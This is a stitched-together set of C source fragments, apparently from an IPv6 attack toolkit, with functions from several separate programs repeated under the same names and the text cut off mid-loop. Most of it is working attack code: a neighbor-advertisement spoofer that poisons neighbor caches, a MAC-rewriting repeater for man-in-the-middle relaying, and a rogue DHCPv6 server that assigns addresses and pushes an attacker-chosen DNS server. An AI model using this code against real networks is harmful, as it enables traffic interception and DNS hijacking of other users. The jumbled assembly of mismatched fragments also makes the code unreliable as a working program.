/** Funcao de captura de pacotes [eh passada como parametro para a pcap ]
u_char *foo --> ???
const struct pcap_pkthdr *header --> Cabecalho contendo informacoes sobre o pacote capturado
fields:
ts : uma "struct timeval" contendo o tempo onde o pacote foi capturado
caplen : um "bpf_u_int32" contendo o numero de bytes da captura disponivel
len : um "bpf_u_int32" contendo o numero total de bytes obtidos na captura [que pode ser superior ao numero de bytes disponiveis]
const unsigned char *data --> campo de dados do pacote capturado [No caso o pacote ipv6]
*/
void check_packets(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) {
int i, ok = 1;
unsigned char *ptr = (unsigned char *) data + 14; // pulando para o campo de src addr
// Funcao de debug, realiza o dump do pacote capturado na tela
if (debug) {
thc_dump_data(ptr, header->caplen - 14, "Received Packet");
}
// Verificacao caso o IP[Host] ja tenha sido dado como "alive"
i = 0;
while (ok && i < alive_no) {
if ((memcmp(alive[i], ptr + 8, 16) == 0)
&& (memcmp(aliveMac[i], ptr - 8, 6) == 0))
ok = 0;
i++;
}
// Se passou em todas as verificacoes, o endereco de origem eh armazenado em memoria
if (ok && ((alive[alive_no] = malloc(16)) != NULL)
&& ((aliveMac[alive_no] = malloc(6)) != NULL)) {
printf(".");
memcpy(alive[alive_no], (ptr + 8), 16);
memcpy(aliveMac[alive_no], (ptr - 8), 6);
alive_no++;
}
}
void intercept(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *ipv6hdr = (unsigned char *) (data + 14);
if (debug) {
printf("DEBUG: packet received\n");
thc_dump_data((unsigned char *) data, header->caplen, "Received Packet");
}
if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78)
return;
if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) != 0)
return;
if (debug)
printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n");
ptr4 = thc_ipv62notation((char *) (data + 62));
printf("Detected new ip6 address: %s\n", ptr4);
if (script != NULL && fork() == 0) {
sprintf(es, "%s %s", script, ptr4);
if (system(es) < 0)
fprintf(stderr, "Error: Executing failed - %s\n", es);
exit(0);
}
free(ptr4);
(void) wait3(NULL, WNOHANG, NULL);
return;
}
int createRepeater(unsigned char *nodAIp, unsigned char *nodAMac, unsigned char *nodBIp, unsigned char *nodBMac) {
ownMac = resolveMAC(mArgs.ownMac);
if (DEBUG)
thc_dump_data(ownMac, 6, "Own mac:");
nodeAIp = thc_resolve6(nodAIp);
nodeAMac = resolveMAC(nodAMac);
nodeBIp = thc_resolve6(nodBIp);
nodeBMac = resolveMAC(nodBMac);
int pid = 0;
char filter[256] = "ip6 and ( ( src ";
strcat(filter, nodAIp);
strcat(filter, " and dst ");
strcat(filter, nodBIp);
strcat(filter, " ) or ( src ");
strcat(filter, nodBIp);
strcat(filter, " and dst ");
strcat(filter, nodAIp);
strcat(filter, " ) )");
if (DEBUG)
printf("Filter : %s \n", filter);
if ((pid = fork()) == 0) {
thc_pcap_function(mArgs.interface, filter, (char *) repeater, 1, NULL);
exit(0);
}
return pid;
}
void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *ptr = (unsigned char *) data;
int len = header->caplen, i, j;
if (rawmode == 0) {
if (do_hdr_size) {
ptr += do_hdr_size;
len -= do_hdr_size;
if ((ptr[0] & 240) != 0x60)
return;
} else {
ptr += 14;
len -= 14;
}
}
if (debug)
thc_dump_data(ptr, len, "Received Packet");
if (ptr[6] == 0x3a && ptr[40] == ICMP6_INVNEIGHBORADV && len >= 56) {
done = 1;
j = (len - 56) / 16;
if (j == 0) {
printf("Empty Inverse Neighbor Discovery message received by %s for %s\n", thc_ipv62notation((char *) ptr + 8), mac);
} else {
printf("Inverse Advertisement Discovery message received by %s for %s (%d entries):\n", thc_ipv62notation((char *) ptr + 8), mac, j);
for (i = 0; i < j; i++)
printf(" %s\n", thc_ipv62notation((char *) ptr + 56 + i * 16));
}
}
}
void repeater(u_char * foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *ipv6hdr = (unsigned char *) (data + 14);
int pkt_len = header->caplen;
unsigned char *pkt = NULL;
int erro = 0;
if (ipv6hdr[6] == NXT_ICMP6 && (ipv6hdr[40] == ICMP6_NEIGHBORSOL || ipv6hdr[40] == ICMP6_NEIGHBORADV)) {
return;
}
if (memcmp(data, ownMac, 6)) {
return;
}
pkt = malloc(header->caplen);
memcpy(pkt, data, header->caplen);
if (DEBUG)
thc_dump_data(pkt, pkt_len, "CAPTURED PACKET:");
if (memcmp(data + 6, nodeAMac, 6) == 0) {
memcpy(pkt, nodeBMac, 6); //changing the destination
}
if (memcmp(data + 6, nodeBMac, 6) == 0) {
memcpy(pkt, nodeAMac, 6); //changing the destination
}
memcpy(pkt + 6, ownMac, 6); //changing the source
if (DEBUG)
printf(" < %d >\n", pkt_len);
if (DEBUG)
thc_dump_data(pkt, pkt_len, "SPOOFED PACKET:");
clearerr(stderr);
if ((erro = daemon6_send_pkt(interface, pkt, &pkt_len)) < 0)
perror("No success");
if (DEBUG)
printf("errono = %d\n", erro);
}
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *ipv6hdr = (unsigned char *) (data + 14);
int len = header->caplen - 14;
if (do_hdr_size) {
ipv6hdr = (unsigned char *) (data + do_hdr_size);
len = header->caplen - do_hdr_size;
if ((ipv6hdr[0] & 240) != 0x60)
return;
}
if (debug) {
printf("DEBUG: packet received\n");
thc_dump_data((unsigned char *) data, header->caplen, "Received Packet");
}
if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || len < 64)
return;
if (*(ipv6hdr + 8) + *(ipv6hdr + 9) + *(ipv6hdr + 10) + *(ipv6hdr + 11) + *(ipv6hdr + 12) + *(ipv6hdr + 13) + *(ipv6hdr + 14) + *(ipv6hdr + 15) != 0)
return;
if (debug)
printf("DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor solitication\n");
(void) wait3(NULL, WNOHANG, NULL);
ptr4 = thc_ipv62notation((char *) (ipv6hdr + 48));
printf("Detected new ip6 address: %s\n", ptr4);
if (script != NULL && fork() == 0) {
snprintf(es, sizeof(es), "%s %s %s", script, ptr4, interface);
if (system(es) < 0)
fprintf(stderr, "Error: Executing failed - %s\n", es);
exit(0);
}
free(ptr4);
return;
}
int main(int argc, char *argv[]) {
char *routerip, *interface, mac[16] = "";
char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024];
unsigned char *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3;
unsigned char *dns;
int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, csize = 0;
static struct iovec iov;
struct sockaddr_storage from;
struct msghdr mhdr;
struct sockaddr_in6 ddst;
unsigned long long int count = 0;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
if (strcmp(argv[1], "-r") == 0) { // is ignored
argv++;
argc--;
}
memset(mac, 0, sizeof(mac));
interface = argv[1];
if (thc_get_own_mac(interface) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (argc >= 6 && (ptr = argv[5]) != NULL)
sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
mac6 = thc_get_own_mac(interface);
if (argc >= 5 && argv[4] != NULL)
ip6 = thc_resolve6(argv[4]);
else
ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
if (argc >= 4 && argv[3] != NULL)
dns = thc_resolve6(argv[3]);
else
dns = thc_resolve6("ff02::fb");
routerip = argv[2];
if ((ptr = index(routerip, '/')) == NULL) {
printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
exit(-1);
}
*ptr++ = 0;
size = atoi(ptr);
routerip6 = thc_resolve6(routerip);
if (routerip6 == NULL || size < 1 || size > 128) {
fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[2]);
exit(-1);
}
if (size < 64) {
fprintf(stderr, "Warning: network prefix must be a minimum of /64, resizing to /64\n");
size = 64;
}
if (size % 8 > 0) {
size = ((size / 8) + 1) * 8;
fprintf(stderr, "Warning: prefix must be a multiple of 8, resizing to /%d\n", csize * 8);
}
csize = 8 - ((size - 64) / 8);
if (dns == NULL) {
fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]);
exit(-1);
}
if (ip6 == NULL) {
fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]);
exit(-1);
}
/*
if (mtu < 1 || mtu > 65536) {
fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]);
exit(-1);
}
if (mtu < 1228 || mtu > 1500)
fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
*/
if (mac6 == NULL) {
fprintf(stderr, "Error: mac address in invalid\n");
exit(-1);
}
if ((s = thc_bind_udp_port(547)) < 0) {
fprintf(stderr, "Error: could not bind to 547/udp\n");
exit(-1);
}
if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0 || thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < 0) {
fprintf(stderr, "Error: could not bind multicast address\n");
exit(-1);
}
if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) {
perror("Error:");
exit(-1);
}
memset(mybuf, 0, sizeof(mybuf));
mybuf[1] = 2;
mybuf[3] = 14;
mybuf[5] = 1;
mybuf[7] = 1;
// mybuf + 8 == time
memcpy(mybuf + 12, mac6, 6);
mlen = 18;
mybuf[mlen + 1] = 23;
mybuf[mlen + 3] = 16;
memcpy(mybuf + mlen + 4, dns, 16);
mlen += 20;
printf("Starting to fake dhcp6 server on %s for %s (Press Control-C to end) ...\n\n", interface, argv[2]);
while (1) {
memset((char *) &from, 0, sizeof(from));
memset(&iov, 0, sizeof(iov));
memset(&mhdr, 0, sizeof(mhdr));
iov.iov_base = rdatabuf;
iov.iov_len = sizeof(rdatabuf);
mhdr.msg_name = &from;
mhdr.msg_namelen = sizeof(from);
mhdr.msg_iov = &iov;
mhdr.msg_iovlen = 1;
mhdr.msg_control = (caddr_t) cmsgbuf;
mhdr.msg_controllen = sizeof(cmsgbuf);
if ((len = recvmsg(s, &mhdr, 0)) > 0) {
fromlen = mhdr.msg_namelen;
if (debug)
thc_dump_data(rdatabuf, len, "Received Packet");
ddst.sin6_addr = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_addr;
ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr);
switch (rdatabuf[0]) {
case 1:
ptr1 = "Solicitate";
break;
case 2:
ptr1 = "Advertise (illegal, ignored)";
break;
case 3:
ptr1 = "Request";
break;
case 4:
ptr1 = "Confirm";
break;
case 5:
ptr1 = "Renew";
break;
case 6:
ptr1 = "Rebind";
break;
case 7:
ptr1 = "Reply (illegal, ignored)";
break;
case 8:
ptr1 = "Release (ignored)";
break;
case 9:
ptr1 = "Decline (ignored)";
break;
case 10:
ptr1 = "Reconfigure (illegal, ignored)";
break;
case 11:
ptr1 = "Information Request (ignored)";
break;
case 12:
ptr1 = "Relay Forward (ignored)";
break;
case 13:
ptr1 = "Relay Reply (ignored)";
break;
default:
ptr1 = "Unknown (ignored)";
break;
}
printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2);
free(ptr2);
if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) {
memset(wdatabuf, 0, sizeof(wdatabuf));
memcpy(wdatabuf + 1, rdatabuf + 1, 3);
i = j = 4;
k = -1;
if (rdatabuf[0] == 1) { // initial request
wdatabuf[0] = 2;
while ((j + 4) < len) {
l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
if (l + j + 4 > len) {
l = 0;
j = len;
printf("Info: received evil packet\n");
} else {
if (rdatabuf[j + 1] == 1) {
memcpy(wdatabuf + i, rdatabuf + j, l + 4);
i += l + 4;
} else if (rdatabuf[j + 1] == 3) {
k = j; // just set a pointer
}
j += l + 4;
}
}
// add 02, 23
j = time(NULL);
memcpy(mybuf + 8, (char *) &j + _TAKE4, 4);
memcpy(wdatabuf + i, mybuf, mlen);
i += mlen;
// now expand 3
if (k > -1 && rdatabuf[k + 3] == 12 && rdatabuf[k + 2] == 0) { // copy structure
memcpy(wdatabuf + i, rdatabuf + k, 16);
} else { // or create new
wdatabuf[i + 1] = 3;
memcpy(wdatabuf + i + 4, (char *) &j + _TAKE4, 4); // copy time as IAID
}
wdatabuf[i + 3] = 40;
memset(wdatabuf + i + 8, 0, 8);
wdatabuf[i + 10] = 0x7f;
wdatabuf[i + 14] = 0xfe;
i += 16;
wdatabuf[i + 1] = 5;
wdatabuf[i + 3] = 24;
memcpy(wdatabuf + i + 4, routerip6, 16); // address
count++;
if (csize > 0)
memcpy(wdatabuf + i + 4 + 16 - csize, (char *) &count, csize); // counter
ptr3 = thc_ipv62notation(wdatabuf + i + 4);
wdatabuf[i + 21] = 2;
wdatabuf[i + 25] = 2;
i += 28;
} else {
wdatabuf[0] = 7;
m = 0;
while ((j + 4) < len) {
l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
if (l + j + 4 > len) {
l = 0;
j = len;
printf("Info: received evil packet\n");
} else { // just copy types 1-3 and 23
if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || rdatabuf[j + 1] == 23) {
memcpy(wdatabuf + i, rdatabuf + j, l + 4);
i += l + 4;
if (rdatabuf[j + 1] == 23)
k = 1;
if (rdatabuf[j + 1] == 3)
m = 1;
}
j += l + 4;
}
}
if (k == -1) {
memcpy(wdatabuf + i, mybuf + 18, 20);
i += 20;
}
}
len = i;
if (debug)
thc_dump_data(wdatabuf, len, "Reply Packet");
ddst.sin6_family = AF_INET6;
ddst.sin6_port = htons(546);
//ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr;
ddst.sin6_scope_id = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_scope_id;
if (sendto(t, wdatabuf, len, 0, (struct sockaddr *) &ddst, sizeof(ddst)) < 0)
perror("Error:");
else {
ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr);
if (wdatabuf[0] == 2) {
printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, ptr3);
free(ptr3);
} else if (m)
printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2);
else
printf("Sent DHCP6 Reply packet to %s (did not set address)\n", ptr2);
free(ptr2);
}
}
}
}
/* packet structure:
1 byte = type
3 bytes = sessionid
while(packet data) {
2 bytes = type
2 bytes = length in bytes of following data
... defined fixed length data ...
}
server listen on ff02::1:2 udp 547
client connects from linklocal port 546, ttl 1
01 = solicit
3 bytes = sessionid
6 bytes = blog (elapsed, 8)
8 bytes = 01 blob (client id + time + mac)
4 bytes = time
6 bytes = mac
16 bytes = 03 blob (want perm address)
5 + length + hostname = hostname
18 bytes = blob (vendor class, type 16)
12 bytes = blob (requested options, type 6)
server sends to linklocal (respect client port), ttl 1
02 = advertise
3 bytes = sessionid (copy)
18 bytes = 01 blob (client copy of client-id)
8 bytes = 02 blob (server id + time + mac)
4 bytes = time
6 bytes = mac
0003 = give perm address
2 bytes = length
4 bytes = IAID (from client request!)
4 bytes = validity time 1 (1800)
4 bytes = validity time 2 (2880)
0005 = address structure
2 bytes = length (24 bytes)
16 bytes = address
4 bytes = validity time (3600)
4 byte = validity time (same)
0023 = dns option
2 bytes = length (16 bytes)
16 bytes = dns server address
client sends to ff02::1:2 !
03 = request
3 bytes = sessionid
6 bytes = blog (elapsed, 8)
8 bytes = 01 blob (client id + time + mac)
4 bytes = time
6 bytes = mac
18 bytes = client (again)
18 bytes = server (copy)
44 bytes = address (copy)
5 + length + hostname = hostname (again)
18 bytes = blob again (vendor class, type 16)
12 bytes = blob again (requested options, type 6)
server replies
7 = reply
copy original advertise packet :-)
*/
return 0; // never reached
}
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *ipv6hdr = (unsigned char *) (data + 14);
if (debug) {
printf("DEBUG: packet received\n");
thc_dump_data((unsigned char *) data, header->caplen, "Received Packet");
}
if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78)
return;
if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) == 0)
return;
if (debug)
printf("DEBUG: packet is a valid icmp6 neighbor solitication\n");
memcpy(ipv6->pkt, data + 6, 6); // copy srcmac to dstmac
memcpy(ipv6->pkt + 38, data + 22, 16); // copy srcip6 to dstip6
memcpy(ipv6->pkt + 22, data + 62, 16); // copy target to srcip6
memcpy(ipv6->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 62, 16); // copy target to target
ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32);
ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256;
ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256;
if (do_dst)
thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
else
thc_send_pkt(interface, pkt, &pkt_len);
ptr2 = thc_ipv62notation(ipv6->pkt + 38);
ptr4 = thc_ipv62notation(ipv6->pkt + 22);
printf("Spoofed packet to %s as %s\n", ptr2, ptr4);
free(ptr2);
free(ptr4);
ipv6->pkt[pkt_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only
ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32);
ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256;
ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256;
if (do_dst)
thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
else
thc_send_pkt(interface, pkt, &pkt_len);
if (do_reverse) {
memcpy(ipv62->pkt, data + 74, 4); // create the multicast mac for the dst so we dont need to do a NS :-)
memcpy(ipv62->pkt + 38, data + 62, 16); // copy target do dst6
memcpy(ipv62->pkt + 22, data + 22, 16); // copy source to source
memcpy(ipv62->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 22, 16); // copy source to target
ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0;
mychecksum = checksum_pseudo_header(ipv62->pkt + 22, ipv62->pkt + 38, NXT_ICMP6, ipv62->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32);
ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256;
ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256;
if (do_dst)
thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240);
else
thc_send_pkt(interface, pkt2, &pkt2_len);
ptr2 = thc_ipv62notation(ipv62->pkt + 38);
ptr4 = thc_ipv62notation(ipv62->pkt + 22);
printf("Spoofed packet to %s as %s\n", ptr2, ptr4);
free(ptr2);
free(ptr4);
}
if ((pp[pp_cnt] = fork()) == 0) {
usleep(200);
debug = 0;
if (do_dst) {
thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
if (do_reverse)
thc_send_pkt(interface, pkt2, &pkt2_len);
}
sleep(1);
if (do_loop == 1) {
signal(SIGTERM, exit);
signal(SIGSEGV, exit);
signal(SIGHUP, exit);
signal(SIGINT, exit);
while (1) {
sleep(5);
if (do_dst) {
thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240);
thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
if (do_reverse)
thc_send_pkt(interface, pkt2, &pkt2_len);
}
}
}
exit(0);
} else if (do_loop == 1 && pp[pp_cnt] != -1) {
if (pp_cnt < 65534)
pp_cnt++;
else
do_loop = 2;
}
ipv6->pkt[56] = 0;
ipv6->pkt[57] = 0;
ipv6->pkt[pkt_len - 28] = 0x60; // set SOL flag again
(void) wait3(NULL, WNOHANG, NULL);
return;
}
int main(int argc, char *argv[]) {
char dummy[24], mac[16] = "", buf2[6], buf3[1398];
unsigned char *ownmac = mac;
int i, j;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
if (debug)
printf("Preparing spoofed packet for speed-up\n");
while ((i = getopt(argc, argv, "FHDRl")) >= 0) {
switch (i) {
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'R':
do_reverse = 1;
break;
case 'l':
do_loop = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
interface = argv[optind];
if (argc - optind == 2 && argv[optind + 1] != NULL)
sscanf(argv[optind + 1], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
ownmac = thc_get_own_mac(interface);
if (thc_get_own_ipv6(interface, NULL, PREFER_LINK) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
memset(dummy, 'X', sizeof(dummy));
dummy[16] = 2;
dummy[17] = 1;
memcpy(&dummy[18], ownmac, 6);
memset(buf2, 0, sizeof(buf2));
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (i = 0; i <= 0 + do_reverse; i++) {
// printf("i: %d\n", i);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
ptype = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (ptype == NXT_ICMP6)
ptype = NXT_FRAG;
for (j = 0; j < do_frag; j++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (ptype == NXT_ICMP6)
ptype = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE | ICMP6_NEIGHBORADV_ROUTER, dummy, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *) pkt;
memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero
if (debug) {
thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet");
printf("\n");
}
// printf("i: %d, do_reverse: %d\n", i, do_reverse);
if (i == 0 && do_reverse) {
// printf("ipv62->ipv6 %p\n", ipv6);
ipv62 = ipv6;
ipv62->pkt[0] = 0x33; // multicast mac hack for destination
ipv62->pkt[1] = 0x33; // multicast mac hack for destination
ipv6 = NULL;
pkt2 = pkt;
pkt = NULL;
pkt2_len = pkt_len;
pkt_len = 0;
ipv62->pkt[pkt2_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only
}
}
signal(SIGTERM, kill_children);
signal(SIGSEGV, kill_children);
signal(SIGHUP, kill_children);
signal(SIGINT, kill_children);
memset((char*)pp, 0, sizeof(pp));
printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n");
printf(" => echo 1 > /proc/sys/net/ipv6/conf/all/forwarding\n");
printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n");
return thc_pcap_function(interface, "icmp6", (char *) intercept, 1, NULL);
}
void detect(u_char *foo, const struct pcap_pkthdr *header, unsigned char *data) {
char *ptr = data, *ptr2;
int i, j, k, offset = 8, doit, len = header->caplen;
if (do_hdr_size) {
len -= do_hdr_size;
ptr += do_hdr_size;
thc_dump_data(ptr, 8, "packet");
if ((ptr[0] & 240) != 0x60)
return;
} else {
len -= 14;
ptr += 14;
}
// drop ff00::/8 and ::/128
for (k = 0; k <= do_dst; k++) {
doit = 0;
if (ptr[offset] != 0xff
&&
( maxhop > 254 || ptr[7] >= 255 - maxhop || (ptr[7] >= 128 - maxhop && ptr[7] <= 128) || (ptr[7] >= 64 - maxhop && ptr[7] <= 64) )
)
doit = 1;
if (memcmp(ptr + 8, d[dcnt + 1], 16) == 0) {
if (k == 0 && ptr[7] == 255 && ptr[6] == NXT_ICMP6 && ptr[40] == ICMP6_NEIGHBORSOL && len >= 64) {
doit = 1; // DAD packet
offset = 48;
} else
doit = 0;
}
// is it our own address?
if (memcmp(ptr + offset + 8, hostpart, 8) == 0)
doit = 0;
if (doit) {
// replace prefix with link-local if -R
if (replace != NULL)
if (memcmp(ptr + offset, replace, 8) == 0)
memcpy(ptr + offset, ll, 8);
// check for doubles
j = 0;
if (dcnt > 0)
for (i = 0; i < dcnt && j == 0; i++)
if (memcmp(ptr + offset, d[i], 16) == 0)
j = 1;
if (j == 0) { // no double
ptr2 = thc_ipv62notation((char *) (ptr + offset));
printf("%s%s\n", noverb == 0 ? "Detected: " : "", ptr2);
if (dcnt < MAX_ENTRIES) { // add to double list
memcpy(d[dcnt], ptr + offset, 16);
dcnt++;
} else
if (dcnt == MAX_ENTRIES) { // table full? should not happen, smells like attack
dcnt++;
fprintf(stderr, "Warning: Table for detected IPv6 addresses is full, doubles can occur now!\n");
}
if (script != NULL && fork() == 0) { // beware, this can DOS you
(void) wait3(NULL, WNOHANG, NULL);
snprintf(exec, sizeof(exec), "%s %s %s\n", script, ptr2, interface);
if (system(exec) < 0)
fprintf(stderr, "Error: Executing failed - %s\n", exec);
exit(0);
}
free(ptr2);
}
}
offset += 16;
}
}
int main(int argc, char *argv[]) {
char dummy[24], mac[6] = "", buf2[6], buf3[1398];
unsigned char *ownmac = mac;
int i;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (debug)
printf("Preparing spoofed packet for speed-up\n");
while ((i = getopt(argc, argv, "FHDRl")) >= 0) {
switch (i) {
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'R':
do_reverse = 1;
break;
case 'l':
do_loop = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
interface = argv[optind];
if (argc - optind == 2 && argv[optind + 1] != NULL)
sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
ownmac = thc_get_own_mac(interface);
memset(dummy, 'X', sizeof(dummy));
dummy[16] = 2;
dummy[17] = 1;
memcpy(&dummy[18], ownmac, 6);
memset(buf2, 0, sizeof(buf2));
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (i = 0; i <= 0 + do_reverse; i++) {
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
ptype = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (ptype == NXT_ICMP6)
ptype = NXT_FRAG;
for (i = 0; i < do_frag; i++)
